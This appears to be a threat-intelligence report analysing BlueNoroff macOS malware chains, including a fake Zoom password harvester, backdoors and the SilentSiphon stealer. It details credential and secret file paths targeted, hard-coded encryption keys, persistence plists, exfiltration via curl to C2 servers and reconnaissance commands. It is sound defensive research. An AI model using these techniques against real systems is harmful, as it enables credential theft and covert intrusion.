According to our telemetry and investigation into the actor’s infrastructure, DownTroy would download ZIP files that contain various individual infection chains from the actor’s centralized file hosting server. Although we haven’t observed how the SysPhon and the SneakMain chain were installed, we suspect they would’ve been downloaded in the same manner. We have identified not only at least seven multi-stage execution chains retrieved from the server, but also various malware families installed on the infected hosts, including keyloggers and stealers downloaded by CosmicDoor and RooTroy chains.

Num Execution chain/Malware Components Source
1 ZoomClutch (standalone) File hosting server
2 DownTroy v1 chain Launcher, Dropper, DownTroy.macOS File hosting server
3 CosmicDoor chain Injector, CosmicDoor.macOS in Nim File hosting server
4 RooTroy chain Installer, Loader, Injector, RooTroy.macOS File hosting server
5 RealTimeTroy chain Injector, RealTimeTroy.macOS in Go Unknown, obtained from multiscanning service
6 SneakMain chain Installer, Loader, SneakMain.macOS Unknown, obtained from infected hosts
7 DownTroy v2 chain Installer, Loader, Dropper, DownTroy.macOS File hosting server
8 SysPhon chain Installer, SysPhone backdoor Unknown, obtained from infected hosts

The actor has been introducing new malware chains by adapting new programming languages and developing new components since 2023. Before that, they employed standalone malware families, but later evolved into a modular structure consisting of launchers, injectors, installers, loaders, and droppers. This modular approach enables the malicious behavior to be divided into smaller components, making it easier to bypass security products and evade detection. Most of the final payloads in these chains have the capability to download additional AppleScript files or execute commands to retrieve subsequent-stage payloads.

Interestingly, the actor initially favored Rust for writing malware but ultimately switched to the Nim language. Meanwhile, other programming languages like C++, Python, Go, and Swift have also been utilized. The C++ language was employed to develop the injector malware as well as the base application within the injector, but the application was later rewritten in Swift. Go was also used to develop certain components of the malware chain, such as the installer and dropper, but these were later switched to Nim as well.

ZoomClutch/TeamsClutch: the fake Zoom/Teams application

During our research of a macOS intrusion on a victim’s machine, we found a suspicious application resembling a Zoom client executing from an atypical, writable path – /tmp/zoom.app/Contents/MacOS – rather than the standard /Applications directory. Analysis showed that the binary was not an official Zoom build but a custom implant compiled on macOS 14.5 (24F74) with Xcode 16 beta 2 (16C5032a) against the macOS 15.2 SDK. The app is ad‑hoc signed, and its bundle identifier is hard‑coded to us.zoom.com to mimic the legitimate client.

The implant is written in Swift and functions as a macOS credentials harvester, disguised as the Zoom videoconferencing application. It features a well-developed user interface using Swift’s modern UI frameworks that closely mimics the Zoom application icon, Apple password prompts, and other authentic elements.

ZoomClutch prompting the victim to enter their password

ZoomClutch prompting the victim to enter their password

ZoomClutch steals macOS passwords by displaying a fake Zoom dialog, then sends the captured credentials to the C2 server. However, before exfiltrating the data, ZoomClutch first validates the credentials locally using Apple’s Open Directory (OD) to filter out typos and incorrect entries, mirroring macOS’s own authentication flow. OD manages accounts and authentication processes for both local and external directories. Local user data sits at /var/db/dslocal/nodes/Default/users/ as plists with PBKDF2‑SHA512  hashes. The malware creates an ODSession, then opens a local ODNode via kODNodeTypeLocalNodes (0x2200/8704) to scope operations to /Local/Default.

It subsequently calls verifyPassword:error: to check the password, which re-hashes the input password using the stored salt and iterations, returning true if there is a match. If verification fails, ZoomClutch re-prompts the user and shortly displays a “wrong password” popup with a shake animation. On success, it hides the dialog, displays a “Zoom Meeting SDK has been updated successfully” message, and the validated credentials are covertly sent to the C2 server.

ZoomClutch success window displayed after password validation

ZoomClutch success window displayed after password validation

All passwords entered in the prompt are logged to ~/Library/Logs/keybagd_events.log. The malware then creates a file at ~/Library/Logs/<username>_auth.log to store the verified password in plain text. This file is subsequently uploaded to a C2 URL using curl.

With medium-high confidence, we assess that the malware was part of BlueNoroff’s workflow needed to initiate the execution flow outlined in the subsequent infection chains.

The TeamsClutch malware that mimics a legitimate Microsoft Teams functions similarly to ZoomClutch, but with its logo and some text elements replaced.

TeamsClutch authentication and success windows

TeamsClutch authentication and success windows

DownTroy v1 chain

The DownTroy v1 chain consists of a launcher and a dropper, which ultimately loads the DownTroy.macOS malware written in AppleScript.

  • Dropper: a dropper file named "trustd", written in Go
  • Launcher: a launcher file named "watchdog", written in Go
  • Final payload: DownTroy.macOS written in AppleScript

The dropper operates in two distinct modes: initialization and operational. When the binary is executed with a machine ID (mid) as the sole argument, it enters initialization mode and updates the configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log using the provided mid and encrypts it with RC4. It then runs itself without any arguments to transition into operational mode. In case the binary is launched without any arguments, it enters operational mode directly. In this mode, it retrieves the previously saved configuration and uses the RC4 key NvZGluZz0iVVRGLTgiPz4KPCF to decrypt it. It is important to note that the mid value must first be included in the configuration during initialization mode, as it is essential for subsequent actions.

It then decodes a hard-coded, base64-encoded string associated with DownTroy.macOS. This AppleScript contains a placeholder value, %mail_id%, which is replaced with the initialized mid value from the configuration. The modified script is saved to a temporary file named local.lock within the <BasePath> directory from the configuration, with 0644 permissions applied, meaning that only the script owner can modify it. The malware then uses osascript to execute DownTroy.macOS and sets Setpgid=1 to isolate the process group. DownTroy.macOS is responsible for downloading additional scripts from its C2 server until the system is rebooted.

The dropper implements a signal handling procedure to monitor for termination attempts. Initially, it reads the entire trustd (itself) and watchdog binary files into memory, storing them in a buffer before deleting the original files. Upon receiving a SIGINT or SIGTERM signal indicating that the process should terminate, the recovery mechanism activates to maintain persistence. While SIGINT is a signal used to interrupt a running process by the user from the terminal using the keyboard shortcut Ctrl + C, SIGTERM is a signal that requests a process to terminate gracefully.

The recovery mechanism begins by recreating the <BasePath> directory with intentionally insecure 0777 permissions (meaning that all users have the read, write, and execute permissions). Next, it writes both binaries back to disk from memory, assigning them executable permissions (0755), and also creates a plist file to ensure the automatic restart of this process chain.

  • trustd: trustd in the <BasePath> directory
  • watchdog: ~/Library/Assistant/SafariUpdate and watchdog in the <BasePath> directory
  • plist: ~/Library/LaunchAgents/com.applet.safari.plist

The contents of the plist file are hard-coded into the dropper in base64-encoded form. When decoded, the template represents a standard macOS LaunchAgent plist containing the placeholder tokens #path and #label. The malware replaces these tokens to customize the template. The final plist configuration ensures the launcher automatic execution by setting RunAtLoad to true (starts at login), KeepAlive to true (restarts if terminated), and LaunchOnlyOnce to true.

  • #path is replaced with the path to the copied watchdog
  • #label is replaced with com.applet.safari to masquerade as a legitimate Safari-related component

The main feature of the discovered launcher is its ability to load the same configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log. It reads the file and uses the RC4 algorithm to decrypt its contents with the same hard-coded 25-byte key: NvZGluZz0iVVRGLTgiPz4KPCF. After decryption, the loader extracts the <BasePath> value from the JSON object, which specifies the location of the next payload. It then executes a file named trustd from this path, disguising it as a legitimate macOS system process.

We identified another version of the loader, distinguished by the configuration path that contains the <BasePath> – this time, the configuration file was located at /Library/Graphics/com.applet.safari/local_log. The second version is used when the actor has gained root-level permissions, likely achieved through ZoomClutch during the initial infection.

CosmicDoor chain

The CosmicDoor chain begins with an injector malware that we have named “GillyInjector” written in C++, which was also described by Huntress and SentinelOne. This malware includes an encrypted baseApp and an encrypted malicious payload.

  • Injector: GillyInjector written in C++
  • BaseApp: a benign application written in C++ or Swift
  • Final payload: CosmicDoor.macOS written in Nim

The syscon.zip file downloaded from the file hosting server contains the “a” binary that has been identified as GillyInjector designed to run a benign Mach-O app and inject a malicious payload into it at runtime. Both the injector and the benign application are ad-hoc signed, similar to ZoomClutch. GillyInjector employs a technique known as Task Injection, a rare and sophisticated method observed on macOS systems.

The injector operates in two modes: wiper mode and injector mode. When executed with the --d flag, GillyInjector activates its destructive capabilities. It begins by enumerating all files in the current directory and securely deleting each one. Once all files in the directory are unrecoverably wiped, GillyInjector proceeds to remove the directory itself. When executed with a filename and password, GillyInjector operates as a process injector. It creates a benign application with the given filename in the current directory and uses the provided password to derive an AES decryption key.

The benign Mach-O application and its embedded payload are encrypted with a customized AES-256 algorithm in ECB mode (although similar to the structure of the OFB mode) and then base64-encoded. To decrypt, the first 16 bytes of the encoded string are extracted as the salt for a PBKDF2 key derivation process. This process uses 10,000 iterations, and a user-provided password to generate a SHA-256-based key. The derived key is then used to decrypt the base64-decoded ciphertext that follows.

Base application and payload decryption

Base application and payload decryption

The ultimately injected payload is identified as CosmicDoor.macOS, written in Nim. The main feature of CosmicDoor is that it communicates with the C2 server using the WSS protocol, and it provides remote control functionality such as receiving and executing commands.

Our telemetry indicates that at least three versions of CosmicDoor.macOS have been detected so far, each written in different cross-platform programming languages, including Rust, Python, and Nim. We also discovered that the Windows variant of CosmicDoor was developed in Go, demonstrating that the threat actor has actively used this malware across both Windows and macOS environments since 2023. Based on our investigation, the development of CosmicDoor likely followed this order: CosmicDoor.Windows in Go → CosmicDoor.macOS in Rust → CosmicDoor in Python → CosmicDoor.macOS in Nim. The Nim version, the most recently identified, stands out from the others primarily due to its updated execution chain, including the use of GillyInjector.

Except for the appearance of the injector, the differences between the Windows version and other versions are not significant. On Windows, the fourth to sixth characters of all RC4 key values are initialized to 123. In addition, the CosmicDoor.macOS version, written in Nim, has an updated value for COMMAND_KEY.

CosmicDoor.macOS in Nim CosmicDoor in Python, CosmicDoor.macOS in Rust CosmicDoor.Windows in Go
SESSION_KEY 3LZu5H$yF^FSwPu3SqbL*sK 3LZu5H$yF^FSwPu3SqbL*sK 3LZ123$yF^FSwPu3SqbL*sK
COMMAND_KEY lZjJ7iuK2qcmMW6hacZOw62 jubk$sb3xzCJ%ydILi@W8FH jub123b3xzCJ%ydILi@W8FH
AUTH_KEY Ej7bx@YRG2uUhya#50Yt*ao Ej7bx@YRG2uUhya#50Yt*ao Ej7123YRG2uUhya#50Yt*ao

The same command scheme is still in use, but other versions implement only a few of the commands available on Windows. Notably, commands such as 345, 90, and 45 are listed in the Python implementation of CosmicDoor, but their actual code has not been implemented.

Command Description CosmicDoor.macOS in Rust and Nim CosmicDoor in Python CosmicDoor.Windows in Go
234 Get device information O O O
333 No operation O
44 Update configuration O
78 Get current work directory O O O
1 Get interval time O
12 Execute commands O O O
34 Set current work directory O O O
345 (DownExec) O (but, not implemented)
90 (Download) O (but, not implemented)
45 (Upload) O (but, not implemented)

SilentSiphon: a stealer suite for harvesting

During our investigation, we discovered that CosmicDoor downloads a stealer suite composed of various bash scripts, which we dubbed “SilentSiphon”. In most observed infections, multiple bash shell scripts were created on infected hosts shortly after the installation of CosmicDoor. These scripts were used to collect and exfiltrate data to the actor’s C2 servers.

The file named upl.sh functions as an orchestration launcher, which aggregates multiple standalone data-extraction modules identified on the victim’s system.

upl.sh
├── cpl.sh
├── ubd.sh
├── secrets.sh
├── uad.sh
├── utd.sh

The launcher first uses the command who | tail -n1 | awk '{print $1}' to identify the username of the currently logged-in macOS user, thus ensuring that all subsequent file paths are resolved within the ongoing active session – regardless of whether the script is executed by another account or via Launch Agents. However, both the hard-coded C2 server and the username can be modified with the -h and -u flags, a feature consistent with other modules analyzed in this research. The orchestrator executes five embedded modules located in the same directory, removing each immediately after it completes exfiltration.

The stealer suite harvests data from the compromised host as follows:

  1. upl.sh is the orchestrator and Apple Notes stealer.
    It targets Apple Notes at /private/var/tmp/group.com.apple.notes.
    It stores the data at /private/var/tmp/notes_<username>.
  2. cpl.sh is the browser extension stealer module.
    It targets:
  • Local storage for extensions: the entire “Local Extension Settings” directory of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
  • Browser’s built-in database: directories corresponding to Exodus Web3 Wallet, Coinbase Wallet extension, Crypto.com Onchain Extension, Manta Wallet, 1Password, and Sui wallet in the “IndexedDB” directory
  • Extension list: the list of installed extensions in the “Extensions” directory
    Stores the data at /private/var/tmp/cpl_<username>/<browser>/*
  • ubd.sh is the browser credentials and macOS Keychains stealer module.
    It targets:
    • Credentials stored in the browsers: Local State, History, Cookies, Sessions, Web Data, Bookmarks, Login Data, Session Storage, Local Storage, and IndexedDB directories of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
    • Credentials in the Keychain: /Library/Keychains/System.keychain and ~/Library/Keychains/login.keychain-db
      It stores the data at /private/var/tmp/ubd_<username>/*
  • secrets.sh is the secrets stealer module.
    It targets:
    • Version Control: GitHub (.config/gh), GitLab (.config/glab-cli), and Bitbucket (.bit/config)
    • Package manager: npm (.npmrc), Yarn (.yarnrc.yml), Python pip (.pypirc), RubyGems (.gem/credentials), Rust cargo (.cargo/credentials), and .NET Nuget (.nuget/NuGet.Config)
    • Cloud/Infrastructure: AWS (.aws), Google Cloud (.config/gcloud), Azure (.azure), Oracle Cloud (.oci), Akamai Linode (.config/linode-cli), and DigitalOcean API (.config/doctl/config.yaml)
    • Cloud Application Platform: Vercel (.vercel), Cloudflare (.wrangler/config), Netlify (.netfily), Stripe (.config/stripe/config.toml), Firebase (.config/configstore/firebase-tools.json), Twilio (.twilio-cli)
    • DevOps/IaC: CircleCI (.circleci/cli.yml), Pulumi (.pulumi/credentials.json), and HashiCorp (.vault-token)
    • Security/Authentication: SSH (.ssh) and FTP/cURL/Wget (.netrc)
    • Blockchain Related: Sui Blockchain (.sui), Solana (.config/solana), NEAR Blockchain (.near-credentials), Aptos Blockchain (.aptos), and Algorand (.algorand)
    • Container Related: Docker (.docker) and Kubernetes (.kube)
    • AI: OpenAI (.openai)
      It stores the data at /private/var/tmp/secrets_backup_<current time>/<username>/*
  • uad.sh is the password‑vault stealer module
    It targets:
    • Password manager: 1Password 8, 1Password 7, Bitwarden, LastPass, and Dashlane
    • Note-taking: Evernote and Notion
    • Collaboration suites: Slack
    • Messenger: Skype (inactive), WeChat (inactive), and WhatsApp (inactive)
    • Cryptocurrency: Ledger Live, Hiro StacksWallet, Tonkeeper, MyTonWallet, and MetaMask (inactive)
    • Remote Monitoring and Management: AnyDesk
      It stores the data at /private/var/tmp/<username>_<target application>_<current time>/*
  • utd.sh is the Telegram stealer module
    It targets:
    • On macOS version 14 and later:
      • Telegram’s cached resources, such as chat history and media files
      • Encrypted geolocation cache
      • AES session keys used for account takeover
      • Legacy sandbox cache
    • On macOS versions earlier than 14:
      • List of configured Telegram accounts
      • Export-key vault
      • Full chat DB, messages, contacts, files, and cached media
        It stores the data at /private/var/tmp/Telegrams_<username>/*

    These extremely extensive targets allow the actor to expand beyond simple credentials to encompass their victims’ entire infrastructure. This includes Telegram accounts exploitable for further attacks, supply chain configuration details, and collaboration tools revealing personal notes and business interactions with other users. Notably, the attackers even target the .openai folder to secretly use ChatGPT with the user’s account.

    The collected information is immediately archived with the ditto -ck command and uploaded to the initialized C2 server via curl command, using the same approach as in ZoomClutch.

    RooTroy chain

    We identified a ZIP archive downloaded from the file hosting server that contains a three-component toolset. The final payload, RooTroy.macOS, was also documented in the Huntress’s blog, but we were able to obtain its full chain. The archive includes the following:

    • Installer: the primary installer file named "rtv4inst", written in Go
    • Loader: an auxiliary loader file named "st" and identified as the Nimcore loader, written in Nim
    • Injector: an injector file named "wt", which is identified as GillyInjector, written in C++
    • Final payload: RooTroy.macOS, written in Go

    Upon the execution of the installer, it immediately checks for the presence of other components and terminates if any are missing. Additionally, it verifies that it has accepted at least two command-line arguments to function properly, as follows.

    rvt4inst <MID> <C2> [<Additional C2 domains…>]

    • MID (Machine ID): unique identifier for victim tracking
    • C2: primary command‑and‑control domain
    • Additional C2 values can be supplied

    On the first launch, the installer creates several directories and files that imitate legitimate macOS components. Note that these paths are abused only for camouflage; none are genuine system locations.

    Num Path Role
    1 /Library/Google/Cache/.cfg Configuration
    2 /Library/Application Support/Logitechs/versions Not identified
    3 /Library/Application Support/Logitechs/bin/Update Check Final location of the Nimcore loader (st)
    4 /Library/Storage/Disk baseApp’s potential location 1
    5 /Library/Storage/Memory baseApp’s potential location 2
    6 /Library/Storage/CPU/cpumons Final location of GillyInjector (wt)
    7 /Library/LaunchDaemons/<bundle ID>.plist .plist path for launching st
    8 /private/var/tmp/.lesshst Contains the .plist path

    The installer uses the hard‑coded key 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A to serialize its runtime parameters into an RC4‑encrypted blob. The resulting encrypted value is written as .cfg inside /Library/Google/Cache/.

    The installer then implements a naming mechanism for the plist name through dynamic bundle ID generation, where it scans legitimate applications in /Applications to create convincing identifiers. It enumerates .app bundles, extracts their names, and combines them with service-oriented terms like “agent”, “webhelper”, “update”, “updater”, “startup”, “service”, “cloudd”, “daemon”, “keystone.agent”, “update.agent”, or “installer” to construct bundle IDs, such as “com.safari.update” or “com.chrome.service”. If the bundle ID generation process fails for any reason, the malware defaults to “com.apple.updatecheck” as a hard-coded fallback identifier.

    The installer then deploys the auxiliary binaries from the ZIP extraction directory to their final system locations. The Nimcore loader (st) is copied to /Library/Application Support/Logitechs/bin/Update Check. The GillyInjector binary is renamed to cpumons in the /Library/Storage/CPU path. Both files receive 0755 permissions to ensure executability.

    Later, a persistence mechanism is implemented through macOS Launch Daemon plists. The plist template contains four placeholder fields that are filled in during generation:

    • The Label field receives the dynamically generated bundle ID.
    • The SERVER_AUTH_KEY environment variable is populated with the GillyInjector’s path /Library/Storage/CPU/cpumons that is RC4-encrypted using the hard-coded key "yniERNUgGUHuAhgCzMAi" and then base64-encoded.
    • The CLIENT_AUTH_KEY environment variable receives the hard-coded value "..".
    • The Program field points to the installed Nimcore loader’s path.

    The installer completes the persistence setup by using legitimate launchctl commands to activate the persistence mechanism, ensuring the Nimcore loader is executed. It first runs “launchctl unload <bundle ID>.plist” on any existing plist with the same name to remove previous instances, then executes “launchctl load <bundle ID>.plist” to activate the new persistence configuration through /bin/zsh -c.

    The second stage in this execution chain is the Nimcore loader, which is deployed by the installer and specified in the Program field of the plist file. This loader reads the SERVER_AUTH_KEY environment variable with getenv(), base64-decodes the value, and decrypts it with the same RC4 key used by the installer. The loader is able to retrieve the necessary value because both SERVER_AUTH_KEY and CLIENT_AUTH_KEY are provided in the plist file and filled in by the installer. After decryption, it invokes posix_spawn() to launch GillyInjector.

    GillyInjector is the third component in the RooTroy chain and follows the same behavior as described in the CosmicDoor chain. In this instance, however, the password used for generation is hard-coded as xy@bomb# within the component. The baseApp is primarily responsible for displaying only a simple message and acts as a carrier to keep the injected final payload in memory during runtime.

    The final payload is identified as RooTroy.macOS, written in Go. Upon initialization, RooTroy.macOS reads its configuration from /Library/Google/Cache/.cfg, a file created by the primary installer, and uses the RC4 algorithm with the same 3DD226D0B700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A key to decrypt it. If it fails to read the config file, it removes all files at /Library/Google/Cache and exits.

    As the payload is executed at every boot time via a plist setup, it prevents duplicate execution by checking the .pid file in the same directory. If a process ID is found in the file, it terminates the corresponding process and writes the current process ID into the file. Additionally, it writes the string {"rt": "4.0.0."} into the .version file, also located in the same directory, to indicate the current version. This string is encrypted using RC4 with the key C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF.

    This backdoor executes commands from the /Library/Google/Cache/.startup file line by line. Each line is executed via /bin/zsh -c "[command]" in a separate process. It also monitors the user’s login status and re-executes the commands when the user logs back in after being logged out.

    Next, RooTroy collects and lists all mounted volumes and running processes. It then enters an infinite loop, repeatedly re-enumerating the volumes to detect any changes – such as newly connected USB drives, network shares, or unmounted devices – and uses a different function to identify changes in the list of processes since the last iteration. It sends the collected information to the C2 server via a POST request to /update endpoint with Content-Type: application/json.

    The data field in the response from the C2 server is executed directly via AppleScript with osascript -e. When both the url and auth fields are present, RooTroy connects to the URL with GET method and the Authorization header to retrieve additional files. Then it sleeps for five seconds and repeats the process.

    Additional files are loaded as outlined below:

    1. Generate a random 10-character file name in the temp directory: /private/tmp/[random-chars]{10}.zip.
    2. Save the downloaded data to that file path.
    3. Extract the ZIP file using ditto -xk /private/tmp/[random-chars]{10}.zip /private/tmp/[random-chars]{10}.
    4. Make the file executable using chmod +x /private/tmp/[random-chars]{10}/install.
    5. Likely install additional components by executing /bin/zsh /private/tmp/[random-chars]{10}/install /private/tmp/[random-chars]{10} /private/tmp/[random-chars]{10}/.result.
    6. Check the .result file for the string “success”.
    7. Send result to /report endpoint.
    8. Increment the cid field and save the configuration.
    9. Clean up all temp files.

    We also observed the RooTroy backdoor deploying files named keyboardd to the /Library/keyboard directory and airmond to the /Library/airplay path, which were confirmed to be a keylogger and an infostealer.

    RealTimeTroy chain

    We recently discovered GillyInjector containing an encrypted RealTimeTroy.macOS payload from the public multiscanning service.

    • Injector: GillyInjector written in C++
    • baseApp: the file named “ChromeUpdates” in the same ZIP file (not secured)
    • Final payload: RealTimeTroy.macOS, written in Go

    RealTimeTroy is a straightforward backdoor written in the Go programming language that communicates with a C2 server using the WSS protocol. We have secured both versions of this malware. In the second version, the baseApp named “ChromeUpdates” should be bundled along with the injector into a ZIP file. While the baseApp data is included in the same manner as in other GillyInjector instances, it is not actually used. Instead, the ChromeUpdates file is copied to the path specified as the first parameter and executed as the base application for the injection.

    This will be explained in more detail in the GhostHire campaign section as the payload RealTimeTroy.macOS performs actions identical to the Windows version, with some differences in the commands. Like the Windows version, it injects the payload upon receiving command 16. However, it uses functionality similar to GillyInjector to inject the payload received from the C2. The password for AES decryption and the hardcoded baseApp within RealTimeTroy have been identified as being identical to the ones contained within the existing GillyInjector (MD5 76ACE3A6892C25512B17ED42AC2EBD05).

    Additionally, two new commands have been added compared to the Windows version, specifically for handling commands via the pseudo-terminal. Commands 20 and 21 are used to respectively spawn and exit the terminal, which is used for executing commands received from command 8.

    We found the vcs.time metadata within the second version of RealTimeTroy.macOS, which implies the commit time of this malware, and this value was set to 2025-05-29T12:22:09Z.

    SneakMain chain

    During our investigation into various incidents, we were able to identify another infection chain involving the macOS version of SneakMain in the victims’ infrastructures. Although we were not able to secure the installer malware, it would operate similar to the RooTroy chain, considering the behavior of its loader.

    • Installer: the primary installer (not secured)
    • Loader: Identified as Nimcore loader, written in Nim
    • Final payload: SneakMain.macOS, written in Nim

    The Nimcore loader reads the SERVER_AUTH_KEY and CLIENT_AUTH_KEY environment variables upon execution. Given the flow of the RooTroy chain, we can assume that these values are provided through the plist file installed by an installer component. Next, the values are base64-decoded and then decrypted using the RC4 algorithm with the hard-coded key vnoknknklfewRFRewfjkdlIJDKJDF, which is consistently used throughout the SneakMain chain. The decrypted SERVER_AUTH_KEY value should represent the path to the next payload to be executed by the loader, while the decrypted CLIENT_AUTH_KEY value is saved to the configuration file located at /private/var/tmp/cfg.

    We have observed that this loader was installed under the largest number of various names among malware as follows:

    • /Library/Application Support/frameworks/CloudSigner
    • /Library/Application Support/frameworks/Microsoft Excel
    • /Library/Application Support/frameworks/Hancom Office HWP
    • /Library/Application Support/frameworks/zoom.us
    • /Library/Application Support/loginitems/onedrive/com.onedrive.updater

    The payload loaded by the Nimcore loader has been identified as SneakMain.macOS, written in the Nim programming language. Upon execution, it reads its configuration from /private/var/tmp/cfg, which is likely created by the installer. The configuration’s original contents are recovered through RC4 decryption with the same key and base64 decoding. In the configuration, a C2 URL and machine ID (mid) are concatenated with the pipe character (“|”). Then SneakMain.macOS constructs a JSON object containing this information, along with additional fields such as the malware’s version, current time, and process list, which is then serialized and sent to the C2 server. The request includes the header Content-Type: application/json.

    As a response, the malware receives additional AppleScript commands and uses the osascript -e command to execute them. If it fails to fetch the response, it tries to connect to a default C2 server every minute. There are two URLs hard-coded into the malware: hxxps://file-server[.]store/update and hxxps://cloud-server[.]store/update.

    One interesting external component of this chain is the configuration updater. This updater verifies the presence of the configuration file and updates the C2 server address to hxxps://flashserve[.]store/update with the same encryption method, while preserving the existing mid value. Upon a successful update, it outputs the updated configuration to standard output.

    Beside the Nim-based chain, we also identified a previous version of the SneakMain.macOS binary, written in Rust. This version only consists of a launcher and the Rust-based SneakMain. It is expected to create a corresponding plist for regular execution, but this has not yet been discovered. The Rust version supports two execution modes:

    • With arguments: the malware uses the C2 server and mid as parameters
    • Without arguments: the malware loads an encrypted configuration file located at /Library/Scripts/Folder Actions/Check.plist

    This version collects a process list only at a specific time during execution, without checking newly created or terminated processes. The collected list is then sent to the C2 server via a POST request to hxxps://chkactive[.]online/update, along with the current time (uid) and machine ID (mid), using the Content-Type: application/json header. Similarly, it uses the osascript -e command to execute commands received from the C2 server.

    DownTroy v2 chain

    The DownTroy.macOS v2 infection chain is the latest variant, composed of four components, with the payload being an AppleScript and the rest written in Nim. It was already covered by SentinelOne under the name of “NimDoor”. The Nimcore loader in this chain masquerades as Google LLC, using an intentional typo by replacing the “l” (lowercase “L”) in “Google LLC” with an “I” (uppercase “i”).

    • Installer: the primary installer file named "installer", written in Nim
    • Dropper: a dropper file named "CoreKitAgent", written in Nim
    • Loader: an auxiliary loader file named "GoogIe LLC" and identified as Nimcore loader, written in Nim
    • Final payload: DownTroy.macOS, written in AppleScript

    The installer, which is likely downloaded and initiated by a prior malicious script, serves as the entry point for this process. The dropper receives an interrupt (SIGINT) or termination signal (SIGTERM) like in the DownTroy v1 chain, recreating the components on disk to recover them. Notably, while the previously described RooTroy and SneakMain chains do not have this recovery functionality, we have observed that they configure plist files to automatically execute the Nimcore loader after one hour if the process terminates, and they retain other components. This demonstrates how the actor strategically leverages DownTroy chains to operate more discreetly, highlighting some of the key differences between each chain.

    The installer should be provided with one parameter and will exit if executed without it. It then copies ./CoreKitAgent and ./GoogIe LLC from the current location to ~/Library/CoreKit/CoreKitAgent and ~/Library/Application Support/Google LLC/GoogIe LLC, respectively. Inside of the installer, com.google.update.plist (the name of the plist) is hard-coded to establish persistence, which is later referenced by the dropper and loader. The installer then concatenates this value, the given parameter, and the dropper’s filename into a single string, separated by a pipe (“|”).

    This string is encrypted using the AES algorithm with a hard-coded key and IV, and the resulting encrypted data is then saved to the configuration file.

    • Key: 5B77F83ECEFA0E32BA922F61C9EFFF7F755BA51A010DB844CA7E8AD3DB28650A
    • IV: 2B499EB3865A7EF17264D15252B7F73E
    • Configuration file path: /private/tmp/.config

    It fulfills its function by ultimately executing the copied dropper located at ~/Library/CoreKit/CoreKitAgent.

    The dropper in the DownTroy v2 chain uses macOS’s kqueue alongside Nim’s async runtime to manage asynchronous control flow, similar to CosmicDoor, the Nimcore loader in the RooTroy chain, and the Nim version of SneakMain.macOS. The dropper monitors events via kqueue, and when an event is triggered, it resumes the corresponding async tasks through a state machine managed by Nim. The primary functionality is implemented in state 1 of the async state machine.

    The dropper then reads the encrypted configuration from /private/tmp/.config and decrypts it using the AES algorithm with the hard-coded key and IV, which are identical to those used in the installer. By splitting the decrypted data with a “|”, it extracts the loader path, the plist path, and the parameter provided to the installer. Next, it reads all the contents of itself and the loader, and deletes them along with the plist file in order to erase any trace of their existence. When the dropper is terminated, a handler function is triggered that utilizes the previously read contents to recreate itself and the loader file. In addition, a hard-coded hex string is interpreted as ASCII text, and the decoded content is written to the plist file path obtained from the configuration.

    In the contents above, variables enclosed in %’s are replaced with different strings based on hard-coded values and configurations. Both authentication key variables are stored as encrypted strings with the same AES algorithm as used for the configuration.

    • %label% -> com.google.update
    • %server_auth_key% -> AES-encrypted selfpath (~/Library/CoreKit/CoreKitAgent)
    • %client_auth_key% -> AES-encrypted configuration
    • %program% -> loader path (~/Library/Application Support/Google LLC/GoogIe LLC)

    The core functionality of this loader is to generate an AppleScript file using a hard-coded hex string and save it as .ses in the same directory. The script, identified as DownTroy.macOS, is designed to download an additional malicious script from a C2 server. It is nearly identical to the one used in the DownTroy v1 chain, with the only differences being the updated C2 servers and the curl command option.

    We have observed three variants of this chain, all of which ultimately deploy the DownTroy.macOS malware but communicate with different C2 servers. Variant 1 communicates with the same C2 server as the one configured in the DownTroy v1 chain, though it appears in a hex-encoded form.

    Config path C2 server Curl command
    Variant 1 /private/var/tmp/cfg hxxps://bots[.]autoupdate[.]online:8080/test curl –no-buffer -X POST -H
    Variant 2 /private/tmp/.config hxxps://writeup[.]live/test,
    hxxps://safeup[.]store/test
    curl –connect-timeout 30 –max-time 60 –no-buffer -X POST -H
    Variant 3 /private/tmp/.config hxxps://api[.]clearit[.]sbs/test,
    hxxps://api[.]flashstore[.]sbs/test
    curl –connect-timeout 30 –max-time 60 –no-buffer -X POST -H

    The configuration file path used by variant 1 is the same as that of SneakMain. This indicates that the actor transitioned from the SneakMain chain to the DownTroy chain while enhancing their tools, and this variant’s dropper is identified as an earlier version that reads the plist file directly.

    SysPhon chain

    Unlike other infection chains, the SysPhon chain incorporates an older set of malware: the lightweight version of RustBucket and the known SugarLoader. According to a blog post by Field Effect, the actor deployed the lightweight version of RustBucket, which we dubbed “SysPhon”, alongside suspected SugarLoader malware and its loader, disguised as a legitimate Wi-Fi updater. Although we were unable to obtain the suspected SugarLoader malware sample or the final payloads, we believe with medium-low confidence that this chain is part of the same campaign by BlueNoroff. This assessment is based on the use of icloud_helper (a tool used for stealing user passwords) and the same initial infection vector as before: a fake Zoom link. It’s not surprising, as both malicious tools have already been attributed to BlueNoroff, indicating that the tools were adapted for the campaign.

    Considering the parameters and behavior outlined in the blog post above, an AppleScript script deployed icloud_helper to collect the user’s password and simultaneously installed the SysPhon malware. The malware then downloaded SugarLoader, which connected to the C2 server and port pair specified as a parameter. This ultimately resulted in the download of a launcher to establish persistence. Given this execution flow and SugarLoader’s historical role in retrieving the KANDYKORN malware, it is likely that the final payload in the chain would be KANDYKORN or another fully-featured backdoor.

    SysPhon is a downloader written in C++ that functions similarly to the third component of the RustBucket malware, which was initially developed in Rust and later rewritten in Swift. In March 2024, an ELF version of the third component compatible with Linux was uploaded to a multi-scanner service. In November 2024, SentinelOne reported on SysPhon, noting that it is typically distributed via a parent downloader that opens a legitimate PDF related to cryptocurrency topics. Shortly after the report, a Go version of SysPhon was also uploaded to the same scanner service.

    SysPhon requires a C2 server specified as a parameter to operate. When executed, it generates a 16-byte random ID and retrieves the host name. It then enters a loop to conduct system reconnaissance by executing a series of commands:

    Information to collect Command
    macOS version sw_vers –ProductVersion
    Current timezone date +%Z
    macOS installation log (Update, package, etc) grep “Install Succeeded” /var/log/install.log awk ‘{print $1, $2}’
    Hardware information sysctl -n hw.model
    Process list ps aux
    System boot time sysctl kern.boottime

